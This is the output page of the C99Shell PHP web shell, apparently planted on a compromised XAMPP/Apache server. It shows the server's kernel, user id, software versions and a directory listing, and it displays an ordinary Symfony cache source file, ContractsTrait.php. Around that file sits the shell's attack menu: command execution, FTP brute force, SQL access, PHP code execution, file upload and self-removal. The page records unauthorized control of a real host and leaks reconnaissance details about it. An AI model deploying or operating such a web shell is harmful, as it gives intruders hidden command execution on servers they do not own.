!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/vendor/symfony/cache/Traits/   drwxr-xr-x
Free 13.51 GB of 61.93 GB (21.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ContractsTrait.php (3.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Cache\Traits;

use 
Psr\Log\LoggerInterface;
use 
Symfony\Component\Cache\Adapter\AdapterInterface;
use 
Symfony\Component\Cache\CacheItem;
use 
Symfony\Component\Cache\Exception\InvalidArgumentException;
use 
Symfony\Component\Cache\LockRegistry;
use 
Symfony\Contracts\Cache\CacheInterface;
use 
Symfony\Contracts\Cache\CacheTrait;
use 
Symfony\Contracts\Cache\ItemInterface;

/**
 * @author Nicolas Grekas <p@tchwork.com>
 *
 * @internal
 */
trait ContractsTrait
{
    use 
CacheTrait {
        
doGet as private contractsGet;
    }

    private 
$callbackWrapper;
    private 
$computing = [];

    
/**
     * Wraps the callback passed to ->get() in a callable.
     *
     * @return callable the previous callback wrapper
     */
    
public function setCallbackWrapper(?callable $callbackWrapper): callable
    {
        if (!isset(
$this->callbackWrapper)) {
            
$this->callbackWrapper = \Closure::fromCallable([LockRegistry::class, 'compute']);;

            if (\
in_array(\PHP_SAPI, ['cli''phpdbg'], true)) {
                
$this->setCallbackWrapper(null);
            }
        }

        
$previousWrapper $this->callbackWrapper;
        
$this->callbackWrapper $callbackWrapper ?? static function (callable $callbackItemInterface $itembool &$saveCacheInterface $pool, \Closure $setMetadata, ?LoggerInterface $logger) {
            return 
$callback($item$save);
        };

        return 
$previousWrapper;
    }

    private function 
doGet(AdapterInterface $poolstring $key, callable $callback, ?float $beta, array &$metadata null)
    {
        if (
$beta $beta ?? 1.0) {
            throw new 
InvalidArgumentException(sprintf('Argument "$beta" provided to "%s::get()" must be a positive number, %f given.', static::class, $beta));
        }

        static 
$setMetadata;

        
$setMetadata ?? $setMetadata = \Closure::bind(
            static function (
CacheItem $itemfloat $startTime, ?array &$metadata) {
                if (
$item->expiry $endTime microtime(true)) {
                    
$item->newMetadata[CacheItem::METADATA_EXPIRY] = $metadata[CacheItem::METADATA_EXPIRY] = $item->expiry;
                    
$item->newMetadata[CacheItem::METADATA_CTIME] = $metadata[CacheItem::METADATA_CTIME] = (int) ceil(1000 * ($endTime $startTime));
                } else {
                    unset(
$metadata[CacheItem::METADATA_EXPIRY], $metadata[CacheItem::METADATA_CTIME]);
                }
            },
            
null,
            
CacheItem::class
        );

        return 
$this->contractsGet($pool$key, function (CacheItem $itembool &$save) use ($pool$callback$setMetadata, &$metadata$key) {
            
// don't wrap nor save recursive calls
            
if (isset($this->computing[$key])) {
                
$value $callback($item$save);
                
$save false;

                return 
$value;
            }

            
$this->computing[$key] = $key;
            
$startTime microtime(true);

            if (!isset(
$this->callbackWrapper)) {
                
$this->setCallbackWrapper($this->setCallbackWrapper(null));
            }

            try {
                
$value = ($this->callbackWrapper)($callback$item$save$pool, function (CacheItem $item) use ($setMetadata$startTime, &$metadata) {
                    
$setMetadata($item$startTime$metadata);
                }, 
$this->logger ?? null);
                
$setMetadata($item$startTime$metadata);

                return 
$value;
            } finally {
                unset(
$this->computing[$key]);
            }
        }, 
$beta$metadata$this->logger ?? null);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4709 ]--